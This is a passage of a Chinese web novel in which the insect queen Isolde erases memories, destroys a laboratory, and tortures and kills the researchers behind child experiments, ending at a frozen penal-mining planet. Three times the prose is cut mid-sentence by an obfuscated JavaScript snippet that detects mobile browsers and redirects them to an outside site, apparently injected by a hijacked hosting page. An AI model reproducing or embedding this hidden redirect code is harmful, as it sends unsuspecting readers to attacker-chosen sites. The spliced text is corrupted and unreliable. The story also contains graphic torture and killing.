对她来说,这世界上没有比毁灭更轻松的事情了。一想到不仅要完整地将这些记忆抹去,还要添上符合逻辑的新内容,伊索尔德就忍不住开始头痛。 她真的很希望这群人能失忆。物理失忆也行。 苏珊发出了客服的声音:“很抱歉,在场没有许愿机。暂时无法实现您的愿望。” 伊索尔德消沉了一会儿,接受了现实,她飘到旁边的座位坐下,十指张开,丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909075|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线从她的指尖垂落,又倒映在那双金色的眼瞳之中。她垂着眼,沉静下来。 “看起来比我更像人偶师。”阿尔法评价。 “希望不要出意外。”比人偶师更像人偶师的王虫嘟囔,“我不想做两次善后工作。” 话音刚落,密密麻麻的精神力丝线在空气中凝出实体,细针一样刺入了每个人的额头。坐在旁边的鸦和诺贝塔同样毫无反抗地被定在了原地,她们清醒地看着那些丝线逼近眼前,很快闭上了眼,也陷入了昏迷。 丝线开始颤动,像一只手,开始轻轻地翻阅在场所有人的记忆。 首先是找出所有与前代文明和魔法相关的内容进行销毁,接着根据每个人的行为逻辑和性格编纂一段新的记忆进行替换。 ——今天晚上的拍卖会上出现了一些意外,但没关系,那都是些早在地下城城主意料之中的事情,它们不仅没有让拍卖中断,还为拍卖会提供了更加有趣的展开... 伊索尔德开始编织故事。人类的大脑太过脆弱,她要很小心、很小心地控制输出的能量,才能保证他们的脑子不会在这个过程中炸成一团烟花。 她忽然停下了。 “怎么了?” 伊索尔德沉思:“珍宝...是什么呢?” 当然不可能说珍宝是雀,她得找一个符合逻辑又挑不出错的说法。 灰百合呃了一声:“我不是写小说的料啊...把深海之冕跟雀的顺序调换一下?” “深海之冕还不够格,”伊索尔德摇了摇头,“至少也得跟不老泉媲美,但它也不能出现。” “那这个如何呢?”轻柔的声音在她们身后响起,递出来的那只手向上摊开,露出一只贝类。 那只贝壳是纯黑色的,表面覆盖着奇异的白色花纹。它是活的,如同呼吸一样张开又闭合,莹润的壳面张开时,从中倾泻出了令人目眩神迷的光彩。那些光彩像云雾一样被吐出,萦绕在贝壳的周围,它们不断变换着形态,在空中勾勒出一个个或浓或淡的幻影。 深海人鱼族的特产。一只年岁五百年以上的蜃贝。 能与不老泉比拟的、无可置疑的珍宝。 伊索尔德没有去看蜃贝,她转过身,果然看到了白发白眼的虫族。 “塔纳斯!”她叫道。 “我来了。”塔纳斯颔首,“您的混淆术用得很不错。” “我可是很小心的。”伊索尔德眯着眼笑,又小小地抱怨了一下,“人类实在是太脆弱了,连替换和删减都承受不了。” 塔纳斯柔和地看着她:“您辛苦了。” “对了,塔纳斯,我想让你带她回去。”伊索尔德侧了侧脸,示意她去看身后那个黑发蓝眼的虫族。 雀把袖子里因为应激弹出的利刃收回,拘谨地站在王的身后。 “您好...”她低声说,“我是雀。” “我听说您找到了一只流落在外的虫族。”塔纳斯看向雀,“是山兰蝶啊。” 她感慨的语气跟伊索尔德有些像。 雀战战兢兢地站在那里,接受塔纳斯的审视。 “她才八岁呢。”伊索尔德继续手上的工作,那些丝线所编织的记忆被一点点妥帖塞入空缺的地方放好,逐渐与真正的记忆融合,“你不要吓她啦。” 塔纳斯叹了口气,语气缓和了些,她朝雀招了招手,后者看了看王,乖顺地走了过来。 白发虫族检索了一遍她的记忆,大概明白这里发生了什么。 “实验么...”她沉吟,“近三十年来都没有新生儿丢失的记录,但是大约三百年前,虫族曾经因为战乱丢失过一批尚待孵化的同胞。数量的话...大概是五只。” “我也觉得有可能是那个时候。”伊索尔德彻底完成了善后,高高兴兴转过身来,专注地跟塔纳斯说话,“三只溯流光,两只山兰蝶。雀应该是其中之一,剩下的可以跟着实验室的购买记录找,她们应该是同时丢失的。” “嗯,先这样吧。这里不是说话的地方,等回去再说。”塔纳斯肯定了王虫的思路,顺手把雀混乱而破碎的精神力修复了些,她不是这方面的专家,只能做到让她的头痛减弱,顺便消除一部分术士留下来的残响。 雀感觉到自己舒服多了,她冲塔纳斯友善地笑了一下,又沉默而无声地回到了伊索尔德身后。 “马上就好。”王虫站起来,拍了拍身上的灰尘,“等我先把这地方轰掉。” 50.自毁程序与数据 “数据,数据。”苏珊提醒她。 “我记得...是在中心对吧?”伊索尔德辨认了一下方向,顺手把阿尔法也抄起来,放到肩膀上,“唔,在那边。上了很多锁...” “需要密码的。你知道吗?” “知道一部分吧...我有仔细看那个术士的记忆,但是她记忆力真的很差,有几道门的密码没看到。”伊索尔德随口答道,步伐轻快地穿过长廊,来到一扇铁门面前。 铁门有十几米高,制作的时候使用了特殊的金属,很难用暴力打开。 伊索尔德伸出手,铁门感应到生命的靠近,自发浮现出五个标注着二十七个字符的轮盘。 “我想想...”她的手指落在轮盘上,慢慢将正确的字符拨到正确的位置,“应该是这样。” 齿轮咬合,程序启动,铁门缓缓往里打开,一条幽深而黑暗的通道出现在她们面前。 接下来又是几扇密码各不相同的门,伊索尔德按照“雀”的记忆依次解开,最后在第八扇门前停下了脚步。 “雀”的记忆里没有这扇门。 “塔纳斯。”伊索尔德睁大眼睛看她,“帮一下忙嘛。” 塔纳斯失笑,她上前一步,身影虚幻一瞬,眨眼间出现在了门的另一边。 她用自己的能力扭曲了铁门的内部解构,在不惊动主程序的情况下从里打开了门。 最后一扇门在伊索尔德面前自发向两边打开。 门的对面是微笑着的塔纳斯。 “如您所愿。” —— 实验室的全貌出现在她们眼前,尽管废弃多年,里面的清洁程序依然兢兢业业运转着,巨大的屏幕中央记录着实验的全部数据,上面的日期停留在十五年前,以主屏幕为中心,周围陆陆续续散开了十几个房间,它们用透明材料隔开,从各个角度都可以看见里面的景象。 实验台、药剂室、换衣间、禁闭室、寒光闪闪的手术刀与断裂的项圈...... 每一台仪器的表面都光洁如新,有的实验台上还残留着被晕染出的深色痕迹,没有被收拢的拘束带落在地上,时不时的,上面闪过些许跳跃的蓝色电弧。 辅助研究员进行试验的AI仍在运转,它向伊索尔德发出了问询。 【当前并未检测到访客许可。警告。】 “密钥380298,”伊索尔德将空白终端插入接口,双手搭在操作台上,面无表情地报出“雀”的身份id,“解锁实验启动以来的全部数据。” 【当前并未检测到!%&...当前...*09*...】 【数据已解锁。欢迎您的回归。检测到您当前心情不佳,我能为您做什么吗?】 “解锁数据。”伊索尔德说。 【正在解锁。请稍候。】 数据流瀑布一般倾泻而下,在那些虚拟的字符之间,无数份档案被归拢合并,伊索尔德看见了八岁的雀,眼睛很圆,脸上带点婴儿肥,她直直看着镜头,目光空洞而遥远。 伊索尔德的心情更不好了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909076|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不耐烦地敲了敲操作台。 【解锁完成。】 屏幕上的进度条走到了尽头,伊索尔德把终端拔出来。 “你有没有搭载自毁程序?”她忽然问。 AI给出了肯定的回答。 “销毁数据,自毁程序解锁。”伊索尔德说,“十分钟之后把这里炸毁。” 【已加入日志。将在十分钟后启动自毁程序。】 实验室里开始不断响起让研究员外出进行避难的广播声。 伊索尔德借着刚刚的临时链接命令外面昏迷的人群自行离开,数据流投下的光影在她脸上明灭不定,那些闪烁的光点像暗火一样点亮了她的眼睛,此刻,她看起来比北境的风雪还要冰冷而无情。 “这里马上会坍塌。”她头也不回,“要走了。” 终端接收到的数据里包含了所有参与人员的资料,尽管不排除其中有用来混淆视线的烟雾弹,但依然足够伊索尔德顺藤摸瓜找出所有与此有关的人。 在这种时候,她反而笑了一下。 冷冰冰的,锋利的,如刀锋一样令人不寒而栗的。 “我有点生气。”她慢慢地说,“塔纳斯,我改主意了,你先带着雀回去吧,她的情况不能拖下去了。” 塔纳斯点头,手搭在了雀的肩膀上。 “那您呢?”雀小声问。 伊索尔德回过头笑了一下,柔软而甜蜜的,仿佛抽出镰刀的死神:“我有点事要做。” 她的神情很温柔:“刚好顺路。” 51.烟花 索狄从来不知道自己的身体里可以流出这么多的血。他曾经是个研究人员,以严谨的态度探究神明遗留下来的命题,他肆无忌惮地改造着人类的身体,穷尽一切想象和手段去模拟幻想种的完美姿态,即便实验匆匆忙忙被关闭,他本人也被软禁在地下城中不得外出,他依然认为那段时光骄傲而伟大。 然而他曾经的光荣正化作一柄锋锐的利刃,在这个平平无奇的夜晚收割他的生命。 干瘪而消瘦的身体被从中剖开,血肆意地涂抹在地板和墙纸上,热气腾腾的拿铁表面被点点红色溅染,它们和方糖一样,在苦涩而微甜的液体里缓慢融化。 客厅里一片狼藉,不速之客将这栋房子妆点得如同屠杀现场,在这混乱而血腥的世界里,银头发的死神正笑盈盈看着他。 “...求你。”他趴伏在地上,一只手兜住自己外流的肠子,他浑身上下都是血,大大小小的伤口在他皮肤上平滑地分割成一张张方格,他身受重伤,但奇怪的是,他竟然也还没有死,甚至还颇有活力。 他低声下气地重复道:“求你放过我吧。书房里的暗格有一些财产,我愿意将它们献给您。” 话虽如此,他自己也明白生存希望渺茫。这不速之客明显与他有某种深仇大恨,可即便他在血滴声中努力思考,依然记不起来曾见过有这样一张脸的人。 是出逃的实验体?亦或者是地下城本身的授意?他以前得罪过这样的家伙吗?是谁? 种种思绪在他脑海中一闪而过,一瞬之后,他听到死神开口说话。 她还是笑着的,手上捏着一片瓷片。伊索尔德嫌弃用自己的刀杀这种人脏手,她略一思索,干脆把桌上的瓷器砸成了碎片,从中选了最迟钝的一块。 她坐在阳台的边沿,双腿晃荡着,身后是璀璨而一望无际的壮丽夜景,窗户打开,风将布帘卷起,她单手撑着栏杆,另一只手把头发捋到耳后。 “其实我并不喜欢折磨人类。你们太脆弱了,很容易死,折磨起来很没意思,并不符合我对‘猎物’的标准。我比较喜欢顽强一点的,不会轻易屈服的东西。但是我很生气,你们欺负了我家孩子,我总要帮她出口气。”她叹气,那枚瓷片在她手里滴溜溜转了一圈,像刀片,反射出她玻璃珠似的绿眼睛。 瓷片轻飘飘扔过来,钉住了他企图按下警报器的手腕。又一股血液喷出,伊索尔德满意地笑了一下。 “所以我稍微控制了一下力道,虽然痛苦,但都算不上致命伤。你看,你现在不就还活着吗?塔纳斯知道了都会夸奖我的。” 地上的男人痛苦地呻.吟了一声。他开始飞速在大脑里检索与“孩子”有关的项目。 “是三年前城郊的那个吗?”他试探性地问。 死神不说话。 他不敢耽搁,又飞速报出了一串名词,那里面夹杂着好几个伊索尔德没在数据里看到过的人体实验,显而易见,实验室里所进行的改造实验只是其中冰山一角。“雀”在这里蓄养了一大批疯狂科学家。 伊索尔德嗯了一声,若有所思:“虽然已经知道你们很过分了,但居然垃圾到这种地步吗?连对同族都能这么狠心。” 她小声嘀咕:“我还以为我是反派来着,感觉在你们的对比下都显得很善良了...你说是吧,苏珊。” 被月光掩藏了身影的灰百合无奈地叹了口气。 它看了看室内的凄惨景象,又看了看伊索尔德脸上纯真甜美的笑意,一时间竟然不知道该说什么好。 想了想,只得催促道:“你快点,公证处马上要开门了。等那群人醒过来知道你干了什么之后指不定你身价又要暴涨了。” 伊索尔德拿到数据之后就马不停蹄赶来中层区开始挨个挨个清理实验室的知情者了。“雀”在解散实验室后也没有放这群研究员离开,而是统统软禁在了地下城里面,只让他们在特定的区域中行动。这一举措最开始只是为了控制情报不外流,现在倒方便了伊索尔德。 所有人都被她物理封了口,鸦和客人们还在昏睡,不知道地下城已经血流成河。 “诶——可是这不是好事吗?”银发的虫族故作无辜,“我可是帮世界清理了有害垃圾,还没让他们给我颁发奖项呢。就算以最宽松的标准来看也是无可救药的人渣啊,早点死掉是为世界和平做贡献啊。” “然而他现在还在呼吸。”灰百合言简意赅。 “因为是最后一个嘛。嗯,别担心,很快就好。”她轻盈地跃下来,走到呼吸越发微弱的男人面前,微凉的拿铁被浇在他的伤口上,男人瑟缩一下,眼神绝望。 她把瓷杯切成了规整的小块,把它们攥在手里,一点点洒在男人身上。 伊索尔德安慰他:“现在是不是觉得死亡也没那么可怕了?” 索狄浑浑噩噩望着她,失血过多让他的意识和视线都开始模糊,混沌之中,他朦胧想起来有个实验体似乎与她有着相似的神情。 那是一种冰冷的、异质的、绝对不属于人类的东西。 ...幻想种。 总是望着天空的孩子。 那个错误的载体。 这几个念头像一道雷在他脑海中炸响,像走马灯一样宽容提示他此番经历的根源。他张开口,声音虚弱到了极点:“你...是为了09808...吗?” “她有名字哦,是个可爱的好孩子。虽然没有说什么要向你们复仇的话,但身为王,当然有维护自己子民的义务啦。于是我就来找你们了。顺便一提,其他人都死了。”伊索尔德俯视着他,“现在的话,有没有觉得后悔过呢?” 后悔自己曾参与实验,后悔自己那样对待了实验体,后悔来到这个世界上。 死亡所带来的冰冷像厚重的布一样盖在他的身体上,痛苦搅碎神经,大脑却越发清醒,他缓慢地垂下眼,蜷曲的手指一动不动。 ...... “没有。”他牙齿打战,呵呵笑出声来了,“科学是至高无上的!你根本不懂...幻想种明明有着和人类相似的外形,为什么人类就无法得到那些神赐的礼物!”他几乎有些愤恨了,回光返照一般的,他脸上重新出现了鲜活的神色,“悠长而无尽的寿命,稳定的记忆传承...多么强大的力量啊,多么美妙的礼物啊...神明太偏心了...明明已经成功了。” 他神情扭曲:“只差一点,就可以找出让人类也变成幻想种的办法。” 伊索尔德凝视着他,啊了一声:“莫非你以为雀能成功是你们的功劳吗?她本来就 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她本来就不是一个会被情绪左右的家伙,所谓的愤怒也只是王虫的本能所驱使之下带来的副产品。若论内心,无论是她将刀刺入人的身体,亦或者听到索狄的狡辩,都没有发生过什么波动。她并不会因为愤怒杀人,她制造这些血案的唯一目的是震慑那些胆敢对虫族及幻想种出手的人。通缉令上越累越高的金额将成为她传说的一部分,很快,所有人都将知道,有个真身不明的家伙在保护着幻想种,就如同漂浮在宇宙中的幽灵一样,随时准备着杀死那些触犯底线的人。 那是恐惧,也是威吓。 “接下来去干什么?”她将双手背在身后,在雪地里一蹦一蹦。 诺贝塔和鸦都还没醒,她暂时还没法离开。整个地下城下层都因为“雀”变得寂静无声,温控系统被打坏了,街边堆了厚厚一层雪,它们毛绒绒地点缀在屋檐和走廊上,衬得一切都像冰雪女皇的城堡,如梦似幻。 “你明明已经有主意了,不是吗?”灰百合说。 “哎呀。”她笑起来,“好吧。你想看烟花吗?” —— 地下城的下层有一座钟塔,它是整个第四星系最高的建筑物,高度和卡萨布兰卡星球的直径等同。 钟塔不对外开放,它只是地下城财力的展品,从没有人登上过它的顶端,也因此,没有人知道,从这里往下看会是怎样绝顶的胜景。 像饮酒之后的微醺,世界尽在眼中,所有智慧生命比砂砾和蜉蝣还要渺小短暂,连蔓延一整个街区的冲天大火都像明媚绚烂的烟花。 伊索尔德在那些人的身上埋了烟花的引线,当最后一个人死去之后,那些引线不约而同被引燃,在地面上放起了此起彼伏的烟花。 “好看吧?”她坐在钟塔的最高处,看着那些象征着死亡的烟花猛然绽放,又极速坠落。 “小心火灾啊。” “我有控制范围的。烟花秀只有一个小时,好好享受吧。” 鲜血与死亡充盈着空气,夜空之中却盛放着大朵大朵的鲜花。奇异的色彩和图案像流星一般匆匆到来又离开,每一朵烟花的背后都代表一个死去的罪恶者。 伊索尔德突发奇想,双腿勾住钟塔边缘,后仰下去。她自上而下俯视着这颠倒的世界,发自内心地笑了。 “真漂亮。” 她说。 52.你见过凌晨三点的公证处吗? 运气是种神秘的东西,大部分人认为它遵循着某种程度上的等量交换原则,即不幸与幸运在一生中出现的次数相差不多。 诺贝塔曾经也是其中一员,但现在觉得并非如此。 不然根本没办法解释她为什么会凌晨三点出现在卡萨布兰卡的公证处门口。 “我可以知道为什么吗?”她深吸一口气,看向把自己带到这里的罪魁祸首。 “委托呀。”伊索尔德眨眨眼,她的肩膀上坐着一只人偶,脖子上缠着一朵百合花,“今天是周一,事务员等会儿就会上门办理业务,遗嘱公证马上就可以完成了,而且你肯定是第一个。”说到这里,她还很高兴地拍了拍诺贝塔的肩膀,“恭喜你呀,银河集团属于你了!” 这理由听起来挑不出错,除了时间过早之外,诺贝塔无话可说。 “…可是为什么要这么早?”她感觉自己似乎一整个星期都没睡好,头昏脑涨,理智混沌,现在还能条理清晰地说话都全靠毅力在支撑。 “嗯…” 伊索尔德仰起头,装模作样想了想。 “因为我想离开这里了。毕竟本来就是为了旅游才来这边玩的嘛,现在玩够了,该离开了。”她说,“而且我还在离开之前将未处理的委托完成了,很敬业吧。” 敬业?敬业在哪里。敬业在她枉顾雇主意愿,面带微笑直接推着轮椅从地下城跑到公证处门口吗? 诺贝塔有很多话想说,但最终也只是叹了口气。 就算说了也会当听不到的,她很清楚,自己的话在伊索尔德那里,并没有那么重的分量。 说起来,她怎么知道地下城的出口在哪?地下城的出口千奇百怪,如果没有人带路,有极大的可能性迷失。 诺贝塔的思维卡了一下,在这个节点上徘徊不去,隐隐感觉有什么东西被遗漏了。 地下城…拍卖会… …… 鸦呢? “拍卖会昨天晚上结束了,至于其他的,我有地图哦。”似乎看出了她在想什么,身后的伊索尔德轻飘飘地说,“鸦给我的。任务需要嘛。” 这个解释很合理,诺贝塔把微妙的不适感压下去,她若无其事道:“你接下来准备去哪?” “龙岛…吧。苏珊想去那。”伊索尔德说。 她脖子上的灰百合上下摇了摇,像在应和。 晨雾散开,公证处的大门里面不断传来滴答的电子音,密码输入完毕,公证处的门打开了。 穿着制服的事务员原本低着头,听到对话声后,惊讶地抬起头来。她在这里工作了快二十多年了,还是第一次见到堵着公证处门口等待的人。 也许是很重要、很紧急的事情。她这样想,又眼尖地看到了诺贝塔的轮椅,立刻上前一步,示意伊索尔德和诺贝塔跟她进去。 “好了,就到这里吧。”伊索尔德的声音在她头顶轻飘飘响起,“委托结束咯,诺贝塔小姐。” 她松开轮椅的把手,转过身离开了。逐渐远去的脚步声轻盈而平稳,时不时能听到她跟灰百合交谈的声音。凌晨三点的街道上没有多少人,大多都还沉睡着,昏黄的灯光与沉沉的黑暗彼此交织,被她甩在身后。 诺贝塔掉转方向,注视着伊索尔德的背影,她自然而然地融入了阴影里,很快消失在视野尽头。 出现时突兀,消失时也猝不及防。这个将她从枪林弹雨中活着带回来的女孩毫无留恋地离开,直到最后也依然像个谜团。 诺贝塔还是没弄清楚她到底是什么,也没有看清楚那幅假面之下的真容。她心中萦绕着淡淡的遗憾,但却并没有不舍。 不知道为什么,她总有种会再次相见的预感。 那会是多久之后的事情? 她想。 就先祈祷一下,自己那时候还没有老到让人认不出来吧。 事务员接过了她的轮椅,推着她往里进去:“那是您的朋友吗?”她听到了伊索尔德的道别。 “朋友?”诺贝塔莫名笑了一下,“不是的。那只是一个…”她尝试用一个合适的词来定义,“戏剧家。” 她轻描淡写地说:“之前来找我取材,现在离开了。” “那一定是因为您的故事很有趣。”事务员体贴地说。 “也许吧。” 事务员拉开了办公桌的抽屉,她拿出的并不是文件和签字笔,而是一把小巧的银色手枪。 手枪对准了诺贝塔的额头。 事务员低声说:“非常遗憾。有人希望您的故事在这里结束。” 诺贝塔平静地看着她,神情波澜不惊。 砰。 血花迸溅。 事务员倒了下去。 诺贝塔偏了偏头,避开了涌出来的鲜血。 “一点余孽。我早说了让人陪你来。”鸦从倒地的事务员身后走出,她打了个哈欠,避开了血迹,“你现在就像块小饼干,谁见了都想咬。” “这又没什么。枪而已。”诺贝塔对暗杀接受良好,耸了耸肩,从轮椅上站出来。她找到公证处的主脑,将手心的芯片盖上去。莹蓝色的流光一行行闪烁,很快,投影上出现了两份文件。 一份是诺贝塔的死亡证明。一份是银河集团创始人的遗嘱。 诺贝塔点了确认,把第一份进行销毁,在第二份上盖好了公章。 主脑的刻印不可销毁,经它处理的文件将自动上传至中央数据库,哪怕是皇帝都不得擅自改动。 它意味着绝对,还意味着从这一刻起,银河集团正式属于诺贝塔·卡莲。 “加油哦,卡莲大人。接下来就看你的了。”鸦调笑似的说,“没有异能的帝国人,银河集团新的当家人,媒体会很喜欢这个标题的。” 新的风暴正在酝酿,而振翅引动这风暴的蝴蝶却已经离开了。她或许知道自己的所作所为会引发怎样的后果,又或许从未想过,只是单纯觉得好玩。 诺贝塔望着屏幕上的数据流出神了一会儿,她坐回轮椅上,被鸦推着离开了。 太阳慢慢升起来,黎明消逝,温暖的橘红的光芒照耀在草丛中,鸦和诺贝塔走在无人问津的小径上,被黑夜残留的阴冷雾气吞没。 “雀怎么样了?” “她走了。跟那个虫族一起。” “你不告诉她吗?” “告诉她什么?” “那个小孩子是你这件事。” “饶了我吧。”似乎有人无奈地叹了口气,“她还是不要记起来最好。” “哪怕你为她做了这么多?” “那只是我罪有应得。”有着火红色头发的女人说道,“她就应该重新开始,最好什么都忘掉。” 雀本来就对他人的情绪不敏感,记忆的缺失更是让她重新变回了白纸的状态。就这样也很好,忘掉注射器和药剂,忘掉实验与过去,人类世界于她而言只是败笔,平安圆满地被同族带走,再一同生活长大,才是她本来的轨迹。 那个想不起来的小孩只是一个不重要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946020|154277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、也不该重要的路人。 她是虫族,而非人类。和人类交往过深,并不是什么好事。 地下城里所发生过的一切都被掩埋在了废墟与大火之下,虽然为鸦带来了巨额的工作量,但她很乐意为此善后。 —— “怎么样?有结果吗?”苏珊把花苞泡进水杯里,说话的时候,声音都显得沉闷。 她们正在宇宙里行走。伊索尔德这次没有搭乘星舰作为交通工具,而是随便定了个起点,开始在宇宙里进行大漂流,漂到哪里就在哪停下。 伊索尔德将其称为随机性极强的宇宙漫游计划,苏珊则认为这只是她扔飞镖扔出了阴影,因此决定直接放任自流。 虫族的身躯能够让她在宇宙里自由行动,伊索尔德甚至能一边看终端一边跟苏珊聊天。 “没找到啊…”伊索尔德翻来覆去地看从实验室里拿到的数据,她有点纳闷,“记录被抹消了吗,还是说其实没有这个人,雀记错了?” 苏珊想了想:“八岁,不至于吧。” “那就是记录被删除了。虽然稍微有点猜测,但没有证据的话也不太好说啊。唔…”她的手指在终端上面划来划去,忽然,啊了一声。 苏珊:“?” 苏珊:“你又看到什么了?” 伊索尔德把终端翻转过来给它看:“亚达娜尔思把入学考核的地点和时间放出来了。” 【亲爱的各位考生,以下是今年亚达娜尔思学院的招生简章,请有意愿报名的考生,在规定时间内,前往规定地点进行报名】 几抹红色的光点在宇宙地图上闪着光,它们出现在六大星系的中间,标注出亚达娜尔思所设立的考点。 “那里不是‘无星带’吗?”苏珊茫然,“没有生命,也没有星球。谁会在那里考试啊?” 伊索尔德双手捧脸:“不管怎么说,离我们还蛮近的诶,去看看吧!阿尔法要去吗?” “啊?”面色惨白的人偶从她怀里慢慢爬了出来,她双眼紧闭,语气很虚弱,“上学吗?我都可以呀。我还没有去过学校呢。” 说完,她又立刻爬回去了,看起来有点想吐。 她从来没有这么恨自己的手艺,当初做那么逼真干什么,现在晕宇宙辐射了还得自己来承担后果。早知道就不做神经系统了。 “辛苦了。辛苦了。”苏珊同情地拍了拍她的后背。 “…求你别拍。”她的声音从伊索尔德怀里飘起来,“我更想吐了。” “人偶怎么吐?”伊索尔德困惑。 “不会真的吐。但是有晕眩感和呕吐感。我们什么时候到,我好想睡觉。”她听起来不仅是想吐,还有点想死。 伊索尔德把终端收起,看了看周围,发现不远处出现了一颗通体白色的星球,上面分布着一丛丛的黑点,伊索尔德还看到了袅袅升起的炊烟:“就那里吧。看起来有生命活动痕迹的样子。就是有点奇怪。” “不管哪里奇怪,先过去吧。”苏珊说,“我看她真的有点受不了了。下次我会记得帮你带防护服的。” “谢谢。” “重力水平和水源分布有点奇怪啦,算了,也不是什么大事。”伊索尔德略一思考,振开了自己的虫翅,“我要飞过去咯,抓稳。” 阿尔法更努力把自己往她怀里塞了塞,灰百合很淡定,它早就已经习惯伊索尔德的速度了。 绚丽的虫翅开始挥动,伊索尔德向着目的地直直飞去,化作了一道长长的流星。 53.无名星球 这是一颗雪白色的星球,气温终年维持在零下三十五度左右,百分之八十的地表都被冰雪覆盖,只在星球最中央的部位有一片不冻水域。 无名星球荒芜而原始,伊索尔德挑挑拣拣,在炊烟升起的附近降落。她刚刚看到的黑点其实是一种树木,摸起来像石头一样,硬邦邦的。 她站在黑色森林里,往炊烟处望去,那是一个小小的村落,大小不一的洞口开在地表,不断有人爬上爬出,往同一个方向走去。那里是一处蓝色冰川,厚厚的冰层被凿开,成堆的人挤在冰川的缺口中。他们穿着很厚的衣服,臃肿到分不清性别与种族,一台台钻机被安装在冰层上面,它们正随着操纵者的动作上下摇动,在里面挖掘着什么东西。 哗啦。哗啦。 白雪在黑色树木的枝头摇曳,风卷着雪飘向冰川,伊索尔德眯起眼,看到一阵小小的金色光芒从冰川里爆发。那光芒来源于一块金色的石头,它耀眼而温暖,连冰川都因此融化,被烧得坑坑洼洼。 “光曜石。”她想起来这种石头的名字。 这是一种只在极寒地带出产的矿物,会持续不断地放出高热能量,很适合被用在机甲制作里。没记错的话,光曜石的产量很少,它对环境的要求特别严苛,自被发现以来,只在帝国边境和龙岛出现过。 灰百合想到的则是另一个问题:“这里应该是无星带才对吧。怎么会有人?” “流放。”伊索尔德说,“因为在很久之前废除了死刑,所以重刑犯往往会被流放到帝国边境从事一些繁重劳动。嗯...他们看起来是在挖矿呢。” 灰百合在这群人的衣着和居住地上看来看去:“这是虐.待吧。建筑物的材料并没有屏蔽寒冷的作用,他们接触矿石时也并没有合适的防护措施...食物看起来倒是很新鲜,但是没有肉,很容易营养不均衡。而且这里没有太阳,会心情抑郁。”它仰起头看了一眼大气层,“说起来,守卫军呢?” 如果这颗星球时流放犯人的地方,那么帝国理应在这里配备最基本的守卫军,以免出现暴动、逃跑之类的意外。 “好像没有。”伊索尔德沉吟,“我没有在这颗星球上感知到除了他们之外的生命体。机械生命也没有。帝国看起来完全把他们放养了。” 阿尔法缓过来一点了,她加入话题:“可能是空投。把食物定期投放。”她比划,“而且就这么点人,很显然也做不出来足以容纳他们所有人一起逃跑的飞船,外壳可以靠手搓,芯片和编程必须联网才能制作。” 她笃定:“他们根本没办法跑。” 伊索尔德赞同她的观点:“可能是为了减少成本。”所以放松了对这颗星球的监控,恐怕只在特定的时候才会顺带过来检查一番。不知道负责管理这里的人是谁,听起来就非常尸位素餐。 欢呼声爆发,挖出光曜石的人拿出了烈酒和食物,他把酒淋在手掌上搓了搓,然后才把光曜石从地上拿起来,高温让他手上的酒液快速蒸发,趁着这个时候,他立刻把光曜石扔进了一边的筐篓里。 即便他已经尽可能地加快了速度,两只手上依然出现了骇人的不规则圆形伤口。光曜石将血液也蒸发了,伤口附近的皮肉看起来异常苍白,甚至隐隐露出了骨头。 “好痛。”灰百合嘶了一声。 “他看起来很开心。”伊索尔德说,“应该是有可以用矿石兑换物资的规定,鼓励这些人更加努力地去挖矿,以此换取更好的生活。我们不能进村了,这里很排外,换个地方吧。” 灰百合没什么意见:“走吧。阿尔法还好吗?” 回应它的只有风声。 “嗯?阿尔法?”苏珊没听到人偶的声音,有些疑惑地转头去看。伊索尔德的肩膀处空无一物,不知何时,她消失了。 “可能不太好哦。”有些虚弱的声音传来,一个人渐渐出现在她们的面前。 她出现的方式很奇怪,像是老旧电影里取下隐形衣的人。伴随着声音的出现,隐形的状态也被解除,女人的存在感和身形一同清晰起来。 这是个奇怪的女人,她穿得很单薄,里面是白色的长袖长裤,外面披着一件黑色的斗篷。斗篷的边缘缝了一圈白色的毛,看不出具体品种。 阿尔法被她拎在手上,女人歪了歪头,单手拎着她上下晃了晃。 “这是什么?”她有些好奇地问。 “是陶瓷人偶。”被她晃得头痛的阿尔法气若游丝地回答,“你已经被发现了,可以稍微对我好一点吗?” “哈哈,你真可爱。”女人笑了,她真听了阿尔法的话,把她换了个姿势,像抱洋娃娃一样抱在了身前,阿尔法好受点了,没对此发表别的意见,“这里好久没有来过陌生人了,你们是谁?” “啊...” 伊索尔德忽然发出了一声意义不明的气声。 “嗯?‘啊’,是什么地方。”女人困惑。 “不,我只是觉得这台词很耳熟。”伊索尔德的手指抵着下巴,沉思了几秒,“也有别的人对我说过这种话。感觉有点怀念。” “你也挺可爱的。”女人赞许地说道,“要不要跟我一起回家呢?请你们喝酒。” “这个还是不了。”伊索尔德客气道,“可以把我的同伴还给我吗?这样的话,我就不计较刚刚的事情了。” “抱歉,暂时还不可以。”女人同样客气地拒绝了,“我不知道你们的来意。陌生人突然出现在自己家里会让人很困扰吧。” 